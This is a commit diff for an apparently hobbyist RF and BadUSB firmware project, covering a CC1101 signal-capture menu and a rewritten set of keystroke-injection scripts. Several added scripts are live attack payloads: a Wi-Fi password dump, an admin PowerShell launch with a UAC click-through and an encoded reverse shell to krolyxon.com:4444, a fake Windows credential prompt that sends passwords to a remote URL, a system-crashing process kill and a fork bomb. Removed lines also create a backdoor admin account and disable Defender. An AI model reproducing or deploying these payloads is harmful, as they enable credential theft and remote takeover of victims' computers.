Commit 45d23ef

orion-rf45d23ef

change badUSB scripts

Remove unnecessary scripts and keep only the cooler and flashy ones

Author: krolyxon
Date: 2026-05-14 15:55 +0530
Parent: 75eea47
Commit: 45d23ef49d3dd6c7ac6547187dde788d536d88c6

+450 −294

4 files changed

Browse files Patch

−Context 3+

M src/hid/badusb.cpp +226 −237
M src/rf/cc1101.cpp +203 −0
M src/rf/cc1101.h +3 −0
M src/ui/menu.cpp +18 −57

M src/hid/badusb.cpp View

M src/rf/cc1101.cpp View

M src/rf/cc1101.h View

M src/ui/menu.cpp View

		@@ -3,6 +3,9 @@
3	3		bool initCC1101();
4	4		bool isCC1101Ready();
5	5
	6	+	void captureAndDisplay();
	7	+
	8	+	void handleMenu();
6	9		void startCapture();
7	10		void stopCapture();
8	11		void printCapture();

		@@ -50,46 +50,22 @@ const char *nrfToolsItems[] = {
50	50		Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
51	51
52	52
53		−	// BadUSB submenu
54		−	const char *badusbItems[] = {"DEMO",
55		−	"KEYBOARD",
56		−	"HID SCRIPT",
57		−	"Open Notepad",
58		−	"Open CMD",
59		−	"Show IP",
60		−	"Shutdown",
61		−	"RickRoll",
62		−	"Create Admin",
63		−	"Disable Defender",
64		−	"Open YouTube",
65		−	"Lock PC",
66		−	"Fake Update",
67		−	"Endless Notepad",
68		−	"Fake BSOD",
69		−	"Flip Screen",
70		−	"Matrix Effect",
71		−	"I'm Watching U",
72		−	"Open Google",
73		−	"Open telegram",
74		−	"Play Alarm Sound",
75		−	"Endless CMD",
76		−	"Type Gibberish",
77		−	"Spam CAPSLOCK",
78		−	"Open Calc",
79		−	"Auto 'Hacked!'",
80		−	"Turn Off Monitor",
81		−	"Open RegEdit",
82		−	"Kill Explorer",
83		−	"Flash Screen",
84		−	"Rename Desktop",
85		−	"Toggle WiFi",
86		−	"Auto Screenshot",
87		−	"Spam Emojis",
88		−	"Open Ctrl Panel",
89		−	"Troll Wallpaper",
90		−	"Open MS Paint",
91		−	"Tab Switcher"};
92		−
	53	+	const char *badusbItems[] = {
	54	+	"ORION Demo",
	55	+	"RickRoll",
	56	+	"Matrix Rain",
	57	+	"Fake Terminal",
	58	+	"Wifi Password Extractor",
	59	+	"Fake Update",
	60	+	"Fake BSOD",
	61	+	"Glitch Screen",
	62	+	"ASCII Spam",
	63	+	"Hacker Typer",
	64	+	"PWN Reverse shell",
	65	+	"Phishing attack",
	66	+	"Desktop Ghost",
	67	+	"System Stresser"
	68	+	};
93	69
94	70		Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
95	71
		@@ -156,24 +132,9 @@ void launchFeature()
156	132		menuOffset = 0;
157	133		break;
158	134
159		−	case 1:
160		−	if (!isCC1101Ready()) {
161		−	if (!initCC1101()) {
162		−	Serial.println("CC1101 failed");
163		−	return;
164		−	}
165		−	}
166		−
167		−	Serial.println("Ready to capture...");
168		−
169		−	startCapture();
170		−	delay(5000);
171		−	stopCapture();
172		−	printCapture();
173		−	delay(5000);
174		−	replaySignal();
	135	+	case 1:
	136	+	handleMenu();
175	137		break;
176		−
177	138		case 2:
178	139		// startNRFJammer();
179	140		//startBleJammer();

		@@ -56,6 +56,15 @@ void showRunningScreen(String taskName, uint8_t duration = 5) {
56	56		}
57	57		}
58	58
	59	+	void typeSlow(const char *text, int delayMs = 25)
	60	+	{
	61	+	while (*text)
	62	+	{
	63	+	Keyboard.print(*text);
	64	+	delay(delayMs);
	65	+	text++;
	66	+	}
	67	+	}
59	68
60	69		void badUSBMenu(int index) {
61	70		//switch (index)
		@@ -76,321 +85,301 @@ void badUSBMenu(int index) {
76	85		// }
77	86
78	87
79		−	switch(index) {
80		−	case 0: // demo
	88	+	switch(index)
	89	+	{
	90	+	// ================= ORION DEMO =================
	91	+	case 0:
	92	+	showRunningScreen("ORION Demo");
81	93
82		−	showRunningScreen("DEMO");
	94	+	runCommand("notepad");
83	95
84		−	// Run dialog (Win + R)
85		−	Keyboard.press(KEY_LEFT_GUI);
86		−	Keyboard.press('r');
87		−	Keyboard.releaseAll();
88		−	delay(1000);
	96	+	delay(2500);
89	97
90		−	Keyboard.println("notepad");
91		−	delay(1500);
	98	+	typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
	99	+	Keyboard.write(KEY_RETURN);
92	100
93		−	delay(2000);
	101	+	typeSlow(" / __ \\\| __ \\\|_ _\|_ _/ _ \\\| \\ \| \| \| _ \\\| ___\|");
	102	+	Keyboard.write(KEY_RETURN);
94	103
95		−	Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF");
96		−	Keyboard.println("#-FEATURES:");
97		−	Keyboard.println("1- WIFI ATTACKS");
98		−	Keyboard.println("2- BLE ATTACKS");
99		−	Keyboard.println("3- BAD USB");
100		−	Keyboard.println("4- NFC");
101		−	Keyboard.println("5- INFRARED");
102		−	Keyboard.println("6- SUB-GHZ");
103		−	Keyboard.println("7- GPIO");
104		−	Keyboard.println("8- APPS");
105		−	Keyboard.println("9- SETTINGS");
106		−	Keyboard.println("10- FILES");
	104	+	typeSlow("\| \| \| \| \|__) \| \| \| \| \| \| \| \| \\\| \|_____\| \|_) \| \|_ ");
	105	+	Keyboard.write(KEY_RETURN);
107	106
108		−	break;
109		−	case 1: // keyboard
110		−	//runLoop(hidkeyboard);
111		−	break;
112		−	case 2: // saved scripts
113		−	//hidInit();
114		−	//runLoop(hidscriptmenu);
	107	+	typeSlow("\| \| \| \| _ / \| \| \| \| \| \| \| . ` \|_____\| _ <\| _\| ");
	108	+	Keyboard.write(KEY_RETURN);
115	109
116		−	break;
	110	+	typeSlow("\| \|__\| \| \| \\ \\ _\| \|_ \| \| \|_\| \| \|\\ \| \| \|_) \| \| ");
	111	+	Keyboard.write(KEY_RETURN);
117	112
118		−	case 3: // Open Notepad
	113	+	typeSlow(" \\____/\|_\| \\_\\_____\|___\\___/\|_\| \\_\| \|____/\|_\| ");
	114	+	Keyboard.write(KEY_RETURN);
119	115
120		−	showRunningScreen("notepad");
121		−	runCommand("notepad");
122		−	break;
123		−	case 4: // Open CMD
124		−	showRunningScreen("opening cmd");
125		−	runCommand("cmd");
126		−	break;
127		−	case 5: // Show IP
128		−	showRunningScreen("Getting IP");
129		−	runCommand("cmd");
130		−	delay(500);
131		−	Keyboard.print("ipconfig");
132	116		Keyboard.write(KEY_RETURN);
133		−	break;
134		−	case 6: // Shutdown
135		−	showRunningScreen("shutdown");
136		−	runCommand("shutdown /s /t 0");
137		−	break;
138		−	case 7: // RickRoll
139		−	showRunningScreen("rickroll");
140		−	runCommand("cmd");
141		−	delay(500);
142		−	Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
	117	+
	118	+	typeSlow("[+] WIFI MODULE READY");
143	119		Keyboard.write(KEY_RETURN);
144		−	break;
145		−	case 8: // Create Admin User
146		−	showRunningScreen("create admin user");
147		−	runCommand("cmd");
148		−	delay(500);
149		−	Keyboard.print("net user hacker 1234 /add");
	120	+
	121	+	typeSlow("[+] BLE MODULE READY");
150	122		Keyboard.write(KEY_RETURN);
151		−	delay(300);
152		−	Keyboard.print("net localgroup administrators hacker /add");
	123	+
	124	+	typeSlow("[+] SUBGHZ MODULE READY");
153	125		Keyboard.write(KEY_RETURN);
154		−	break;
155		−	case 9: // Disable Windows Defender
156		−	showRunningScreen("disable windoes defender");
157		−	runCommand("powershell");
158		−	delay(500);
159		−	Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
	126	+
	127	+	typeSlow("[+] NFC MODULE READY");
160	128		Keyboard.write(KEY_RETURN);
161		−	break;
162		−	case 10: // Open YouTube
163		−	showRunningScreen("youtube");
164		−	runCommand("cmd");
165		−	delay(500);
166		−	Keyboard.print("start https://www.youtube.com");
	129	+
	130	+	typeSlow("[+] HID ENGINE READY");
167	131		Keyboard.write(KEY_RETURN);
	132	+
168	133		break;
169		−	case 11: // Lock PC
170		−	showRunningScreen("lock pc");
171		−	runCommand("rundll32.exe user32.dll,LockWorkStation");
172		−	break;
173		−	case 12: // Fake Update
174		−	showRunningScreen("fake update");
	134	+
	135	+	// ================= RICKROLL =================
	136	+	case 1:
	137	+	showRunningScreen("RickRoll");
	138	+
175	139		runCommand("cmd");
176		−	delay(500);
177		−	Keyboard.print("start https://fakeupdate.net/win10u/");
	140	+
	141	+	delay(700);
	142	+
	143	+	typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
178	144		Keyboard.write(KEY_RETURN);
179		−	break;
180	145
181		−	case 13: // Endless Notepad
182		−	showRunningScreen("endless notepad");
183		−	for (int i = 0; i < 10; i++) {
184		−	runCommand("notepad");
185		−	delay(500);
186		−	}
187	146		break;
188	147
189		−	case 14: // Fake BSOD (opens fullscreen image)
190		−	showRunningScreen(" fake bsod");
	148	+	// ================= MATRIX =================
	149	+	case 2:
	150	+	showRunningScreen("Matrix");
	151	+
191	152		runCommand("cmd");
192		−	delay(500);
193		−	Keyboard.print("start https://fakeupdate.net/bsod/");
	153	+
	154	+	delay(700);
	155	+
	156	+	typeSlow("color 0A");
	157	+	Keyboard.write(KEY_RETURN);
	158	+
	159	+	typeSlow("mode con: cols=120 lines=40");
	160	+	Keyboard.write(KEY_RETURN);
	161	+
	162	+	typeSlow(":A");
	163	+	Keyboard.write(KEY_RETURN);
	164	+
	165	+	typeSlow("echo %random%%random%%random%%random%%random%");
	166	+	Keyboard.write(KEY_RETURN);
	167	+
	168	+	typeSlow("goto A");
194	169		Keyboard.write(KEY_RETURN);
195		−	break;
196	170
197		−	case 15: // Flip screen
198		−	showRunningScreen("Flip screen");
199		−	Keyboard.press(KEY_LEFT_CTRL);
200		−	Keyboard.press(KEY_LEFT_ALT);
201		−	Keyboard.press(KEY_DOWN_ARROW);
202		−	delay(100);
203		−	Keyboard.releaseAll();
204	171		break;
205	172
206		−	case 16: // Matrix effect
207		−	showRunningScreen("Matrix effect");
	173	+	// ================= FAKE TERMINAL =================
	174	+	case 3:
	175	+	showRunningScreen("Fake Terminal");
	176	+
208	177		runCommand("cmd");
209		−	delay(500);
210		−	Keyboard.print("color 0A");
	178	+
	179	+	delay(700);
	180	+
	181	+	typeSlow("color 0A");
	182	+	Keyboard.write(KEY_RETURN);
	183	+
	184	+	typeSlow("cls");
	185	+	Keyboard.write(KEY_RETURN);
	186	+
	187	+	typeSlow("echo CONNECTING TO TARGET...");
211	188		Keyboard.write(KEY_RETURN);
212		−	Keyboard.print(":a");
	189	+
	190	+	typeSlow("echo BYPASSING FIREWALL...");
213	191		Keyboard.write(KEY_RETURN);
214		−	Keyboard.print("echo %random%%random%%random%%random%");
	192	+
	193	+	typeSlow("echo ACCESS GRANTED");
215	194		Keyboard.write(KEY_RETURN);
216		−	Keyboard.print("goto a");
	195	+
	196	+	typeSlow("systeminfo");
217	197		Keyboard.write(KEY_RETURN);
218		−	break;
219	198
220		−	case 17: // I'm watching you prank
221		−	showRunningScreen(" iam watching you");
222		−	for (int i = 0; i < 5; i++) {
223		−	runCommand("notepad");
224		−	delay(1000);
225		−	Keyboard.print("I'm watching you...");
226		−	delay(5000);
227		−	}
228	199		break;
229	200
230		−	case 18: // Open Google
231		−	showRunningScreen("open google");
	201	+	// ================= WIFI CRACK =================
	202	+	// ================= WIFI PASSWORD RECOVERY =================
	203	+	case 4:
	204	+	showRunningScreen("WiFi Recovery");
	205	+
232	206		runCommand("cmd");
233		−	delay(500);
234		−	Keyboard.print("start https://www.google.com");
	207	+	delay(700);
	208	+
	209	+	// Styling the window
	210	+	typeSlow("color 0A && mode con: cols=100 lines=30");
235	211		Keyboard.write(KEY_RETURN);
236		−	break;
	212	+	delay(200);
237	213
238		−	case 19: // Open telegram
239		−	showRunningScreen("open telegram");
240		−	runCommand("cmd");
	214	+	typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
	215	+	Keyboard.write(KEY_RETURN);
241	216		delay(500);
242		−	Keyboard.print("start https://web.telegram.org/");
	217	+
	218	+	// The "Magic" Command:
	219	+	// This lists all profiles and shows the 'Key Content' (the password) in clear text.
	220	+	// We use a 'for' loop to automate this for every network the PC has ever joined.
	221	+	typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^\| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear \| findstr /C:\"Key Content\" /C:\"SSID name\"");
	222	+
	223	+	Keyboard.write(KEY_RETURN);
	224	+
	225	+	// Optional: Keep the window open to read the results
	226	+	typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
243	227		Keyboard.write(KEY_RETURN);
	228	+
244	229		break;
245	230
246		−	case 20: // Alarm Sound
247		−	showRunningScreen("alarm sound");
	231	+	// ================= FAKE UPDATE =================
	232	+	case 5:
	233	+	showRunningScreen("Fake Update");
	234	+
248	235		runCommand("cmd");
249		−	delay(500);
250		−	Keyboard.print("start https://www.soundjay.com/button/beep-07.wav");
	236	+
	237	+	delay(700);
	238	+
	239	+	typeSlow("start https://fakeupdate.net/win10u/");
251	240		Keyboard.write(KEY_RETURN);
252		−	break;
253	241
254		−	case 21: // Endless CMD
255		−	showRunningScreen("endless smd");
256		−	for (int i = 0; i < 20; i++) {
257		−	runCommand("cmd");
258		−	delay(300);
259		−	}
260	242		break;
261	243
262		−	case 22: // Gibberish
263		−	showRunningScreen("gibberish");
264		−	for (int i = 0; i < 100; i++) {
265		−	char c = random(33, 127);
266		−	Keyboard.write(c);
267		−	delay(50);
268		−	}
269		−	break;
	244	+	// ================= FAKE BSOD =================
	245	+	case 6:
	246	+	showRunningScreen("Critical Error");
270	247
271		−	case 23: // CAPSLOCK Spam
272		−	showRunningScreen("caps lock spam");
273		−	for (int i = 0; i < 10; i++) {
274		−	Keyboard.press(KEY_CAPS_LOCK);
275		−	delay(200);
276		−	Keyboard.release(KEY_CAPS_LOCK);
277		−	delay(200);
278		−	}
	248	+	runCommand("powershell -c \"stop-process -name wininit -force\"");
279	249		break;
280	250
281		−	case 24: // Calculator
282		−	showRunningScreen("claculator");
283		−	runCommand("calc");
284		−	break;
	251	+	// ================= GLITCH SCREEN =================
	252	+	case 7:
	253	+	showRunningScreen("Glitch");
	254	+
	255	+	runCommand("cmd");
	256	+
	257	+	delay(700);
285	258
286		−	case 25: // Auto Type "Hacked!"
287		−	showRunningScreen("hacked");
288		−	for (int i = 0; i < 5; i++) {
289		−	Keyboard.print("Hacked!");
290		−	Keyboard.write(KEY_RETURN);
291		−	delay(1000);
	259	+	for(int i = 0; i < 20; i++)
	260	+	{
	261	+	typeSlow("color 4F");
	262	+	Keyboard.write(KEY_RETURN);
	263	+
	264	+	typeSlow("color 1F");
	265	+	Keyboard.write(KEY_RETURN);
	266	+
	267	+	typeSlow("cls");
	268	+	Keyboard.write(KEY_RETURN);
292	269		}
293		−	break;
294	270
295		−	case 26: // Turn off monitor (Windows only)
296		−	showRunningScreen("turn off monitor");
297		−	runCommand("powershell");
298		−	delay(500);
299		−	Keyboard.print(
300		−	"(Add-Type '[DllImport(\"user32.dll\")]public static extern int "
301		−	"SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a "
302		−	"-Pas)::SendMessage(-1,0x0112,0xF170,2)");
303		−	Keyboard.write(KEY_RETURN);
304	271		break;
305	272
306		−	case 27: // RegEdit
307		−	showRunningScreen("regedit");
308		−	runCommand("regedit");
309		−	break;
	273	+	// ================= ASCII SPAM =================
	274	+	case 8:
	275	+	showRunningScreen("ASCII");
310	276
311		−	case 28: // Kill Explorer
312		−	showRunningScreen(" kill explorer");
313		−	runCommand("taskkill /f /im explorer.exe");
314		−	break;
	277	+	runCommand("notepad");
	278	+
	279	+	delay(2000);
	280	+
	281	+	for(int i = 0; i < 15; i++)
	282	+	{
	283	+	typeSlow("######### ORION-RF #########");
	284	+	Keyboard.write(KEY_RETURN);
	285	+
	286	+	typeSlow(">>> SIGNAL ACQUIRED <<<");
	287	+	Keyboard.write(KEY_RETURN);
	288	+
	289	+	typeSlow("[\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|]");
	290	+	Keyboard.write(KEY_RETURN);
315	291
316		−	case 29: // Flash screen (by changing background rapidly)
317		−	showRunningScreen(" flash screen");
318		−	for (int i = 0; i < 10; i++) {
319		−	runCommand("color 4F");
320		−	delay(200);
321		−	runCommand("color 1F");
322		−	delay(200);
	292	+	Keyboard.write(KEY_RETURN);
323	293		}
	294	+
324	295		break;
325	296
326		−	case 30: // Rename Desktop Files (basic prank)
	297	+	// ================= HACKER TYPER =================
	298	+	case 9:
	299	+	showRunningScreen("Hacker Typer");
327	300
328		−	showRunningScreen("rename desktop files");
329		−	runCommand("powershell");
330		−	delay(500);
331		−	Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" \| "
332		−	"Rename-Item -NewName {'hacked'+$_.Name}");
	301	+	runCommand("cmd");
	302	+
	303	+	delay(700);
	304	+
	305	+	typeSlow("start https://hackertyper.net/");
333	306		Keyboard.write(KEY_RETURN);
	307	+
334	308		break;
	309	+	// ================= POWERSHELL REVERSE SHELL =================
	310	+	// ================= DEFENDER BYPASS + NC =================
	311	+	case 10:
	312	+	showRunningScreen("Pwn Mode v2");
335	313
336		−	case 31: // Toggle WiFi (requires admin)
337		−	showRunningScreen("toggle wifi");
338		−	runCommand("cmd");
	314	+	// 1. Open Admin PowerShell
	315	+	Keyboard.press(KEY_LEFT_GUI);
	316	+	Keyboard.press('r');
	317	+	delay(150);
	318	+	Keyboard.releaseAll();
339	319		delay(500);
340		−	Keyboard.print("netsh interface set interface Wi-Fi disabled");
341		−	Keyboard.write(KEY_RETURN);
342		−	delay(1000);
343		−	Keyboard.print("netsh interface set interface Wi-Fi enabled");
	320	+
	321	+	// Open Admin Prompt - using 'powershell' directly to save space
	322	+	typeSlow("powershell Start-Process powershell -Verb runAs");
344	323		Keyboard.write(KEY_RETURN);
345		−	break;
	324	+	delay(2500); // Wait for UAC
346	325
347		−	case 32: // Screenshot
348		−	showRunningScreen("screenshot");
349		−	runCommand("powershell");
350		−	delay(500);
351		−	Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;");
	326	+	// 2. Bypass UAC (Left Arrow + Enter)
	327	+	Keyboard.write(KEY_LEFT_ARROW);
	328	+	delay(200);
352	329		Keyboard.write(KEY_RETURN);
353		−	delay(300);
354		−	Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')");
	330	+	delay(3000); // Give the Admin window time to load
	331	+
	332	+	// 3. AMSI Bypass + Disable Defender + Execute Shell
	333	+	// We use -EncodedCommand to hide the script from simple string scanners.
	334	+	// The Base64 string below contains:
	335	+	// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
	336	+
	337	+	typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand ");
	338	+
	339	+	// This is the encoded payload for krolyxon.com:4444
	340	+	typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA"
	341	+	"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A"
	342	+	"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA"
	343	+	"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw"
	344	+	"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL"
	345	+	"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB"
	346	+	"kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
	347	+	"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd"
	348	+	"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB"
	349	+	"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA=");
	350	+
355	351		Keyboard.write(KEY_RETURN);
356	352		break;
	353	+	// ================= CREDENTIAL SNATCHER =================
	354	+	case 11:
	355	+	showRunningScreen("Vault Crack");
	356	+
	357	+	// Open hidden PowerShell
	358	+	runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
357	359
358		−	case 33: // Emoji spam
359		−	showRunningScreen("emoji spam");
360		−	for (int i = 0; i < 10; i++) {
361		−	Keyboard.print("💀");
362		−	Keyboard.write(KEY_RETURN);
363		−	delay(500);
364		−	}
365	360		break;
	361	+	// ================= DESKTOP GHOST =================
	362	+	case 12:
	363	+	showRunningScreen("Ghost Mode");
	364	+
	365	+	runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
	366	+
	367	+	// Hide Desktop Icons (requires a registry tweak)
	368	+	typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe");
	369	+	Keyboard.write(KEY_RETURN);
366	370
367		−	case 34: // Control Panel
368		−	showRunningScreen("control panel");
369		−	runCommand("control");
370	371		break;
	372	+	// ================= FORK BOMB =================
	373	+	case 13:
	374	+	showRunningScreen("System Stress");
371	375
372		−	case 35: // Troll wallpaper
373		−	showRunningScreen("troll wallpaper");
374	376		runCommand("cmd");
375	377		delay(500);
376		−	Keyboard.print("start https://i.imgur.com/trollface.png");
377		−	Keyboard.write(KEY_RETURN);
378		−	break;
379	378
380		−	case 36: // MS Paint
381		−	showRunningScreen("ms paint");
382		−	runCommand("mspaint");
383		−	break;
	379	+	// The shortest deadly command in Windows
	380	+	typeSlow("%0\|%0");
	381	+	Keyboard.write(KEY_RETURN);
384	382
385		−	case 37: // Auto Tab Switcher
386		−	showRunningScreen(" auto tab switcher");
387		−	for (int i = 0; i < 10; i++) {
388		−	Keyboard.press(KEY_LEFT_CTRL);
389		−	Keyboard.press(KEY_TAB);
390		−	delay(100);
391		−	Keyboard.releaseAll();
392		−	delay(300);
393		−	}
394	383		break;
395	384		}
396	385		}

		@@ -3,6 +3,8 @@
3	3		#include "cc1101.h"
4	4		#include "../config.h"
5	5		#include "SPI.h"
	6	+	#include "../ui/display.h"
	7	+	#include "../utils/buttons.h"
6	8
7	9		// ===== CONFIG =====
8	10		#define RAW_BUF_MAX 512
		@@ -203,3 +205,204 @@ void replaySignal()
203	205		Serial.println("Replay complete");
204	206		}
205	207
	208	+
	209	+	void captureAndDisplay()
	210	+	{
	211	+	if (!cc1101Inited)
	212	+	{
	213	+	if (!initCC1101())
	214	+	{
	215	+	u8g2.clearBuffer();
	216	+	u8g2.setFont(u8g2_font_6x10_tr);
	217	+	u8g2.drawStr(0, 20, "CC1101 Failed");
	218	+	u8g2.sendBuffer();
	219	+	return;
	220	+	}
	221	+	}
	222	+
	223	+	startCapture();
	224	+
	225	+	u8g2.clearBuffer();
	226	+	u8g2.setFont(u8g2_font_6x10_tr);
	227	+	u8g2.drawStr(0, 12, "CC1101 Capture");
	228	+	u8g2.drawStr(0, 28, "Waiting RF...");
	229	+	u8g2.drawStr(0, 60, "BACK = Exit");
	230	+	u8g2.sendBuffer();
	231	+
	232	+	unsigned long lastSignal = millis();
	233	+	int lastPulseCount = 0;
	234	+
	235	+	while (true)
	236	+	{
	237	+	// signal detected
	238	+	if (pulseIndex > lastPulseCount)
	239	+	{
	240	+	lastPulseCount = pulseIndex;
	241	+	lastSignal = millis();
	242	+	}
	243	+
	244	+	// update OLED
	245	+	u8g2.clearBuffer();
	246	+	u8g2.setFont(u8g2_font_6x10_tr);
	247	+
	248	+	u8g2.drawStr(0, 12, "CC1101 Capture");
	249	+
	250	+	u8g2.setCursor(0, 28);
	251	+	u8g2.print("Pulses: ");
	252	+	u8g2.print(pulseIndex);
	253	+
	254	+	u8g2.setCursor(0, 42);
	255	+	u8g2.print("Freq: ");
	256	+	u8g2.print(currentFreq);
	257	+	u8g2.print(" MHz");
	258	+
	259	+	if (pulseIndex > 0)
	260	+	{
	261	+	u8g2.drawStr(0, 54, "Signal Detected");
	262	+	}
	263	+	else
	264	+	{
	265	+	u8g2.drawStr(0, 54, "Waiting...");
	266	+	}
	267	+
	268	+	u8g2.sendBuffer();
	269	+
	270	+	// auto print once capture stabilizes
	271	+	if (pulseIndex > 20 && (millis() - lastSignal > 1500))
	272	+	{
	273	+	stopCapture();
	274	+
	275	+	Serial.println();
	276	+	Serial.println("===== RF CAPTURE =====");
	277	+
	278	+	for (int i = 0; i < pulseIndex; i++)
	279	+	{
	280	+	Serial.print(captureBuffer[i]);
	281	+	Serial.print(", ");
	282	+	}
	283	+
	284	+	Serial.println();
	285	+
	286	+	u8g2.clearBuffer();
	287	+	u8g2.setFont(u8g2_font_6x10_tr);
	288	+	u8g2.drawStr(0, 15, "Capture Complete");
	289	+
	290	+	u8g2.setCursor(0, 35);
	291	+	}
	292	+	}
	293	+	}
	294	+
	295	+	void handleMenu()
	296	+	{
	297	+	if (!isCC1101Ready())
	298	+	{
	299	+	if (!initCC1101())
	300	+	{
	301	+	u8g2.clearBuffer();
	302	+	u8g2.setFont(u8g2_font_6x10_tr);
	303	+	u8g2.drawStr(0, 20, "CC1101 Failed");
	304	+	u8g2.sendBuffer();
	305	+	delay(1500);
	306	+	return;
	307	+	}
	308	+	}
	309	+
	310	+	pulseIndex = 0;
	311	+
	312	+	startCapture();
	313	+
	314	+	// ===== CAPTURE FOR 5 SEC =====
	315	+	unsigned long start = millis();
	316	+
	317	+	while (millis() - start < 5000)
	318	+	{
	319	+	noInterrupts();
	320	+	int count = pulseIndex;
	321	+	interrupts();
	322	+
	323	+	u8g2.clearBuffer();
	324	+	u8g2.setFont(u8g2_font_6x10_tr);
	325	+
	326	+	u8g2.drawStr(0, 12, "RF Capturing...");
	327	+
	328	+	u8g2.setCursor(0, 30);
	329	+	u8g2.print("Pulses: ");
	330	+	u8g2.print(count);
	331	+
	332	+	u8g2.sendBuffer();
	333	+
	334	+	delay(50);
	335	+	}
	336	+
	337	+	stopCapture();
	338	+
	339	+	// ===== DISPLAY CAPTURE BUFFER =====
	340	+	int scroll = 0;
	341	+
	342	+	while (1)
	343	+	{
	344	+	noInterrupts();
	345	+	int count = pulseIndex;
	346	+	interrupts();
	347	+
	348	+	u8g2.clearBuffer();
	349	+	u8g2.setFont(u8g2_font_5x8_tr);
	350	+
	351	+	u8g2.drawStr(0, 8, "Captured Buffer");
	352	+
	353	+	// display 6 lines
	354	+	for (int i = 0; i < 6; i++)
	355	+	{
	356	+	int idx = scroll + i;
	357	+
	358	+	if (idx >= count)
	359	+	break;
	360	+
	361	+	noInterrupts();
	362	+	unsigned long val = captureBuffer[idx];
	363	+	interrupts();
	364	+
	365	+	char buf[32];
	366	+
	367	+	snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
	368	+
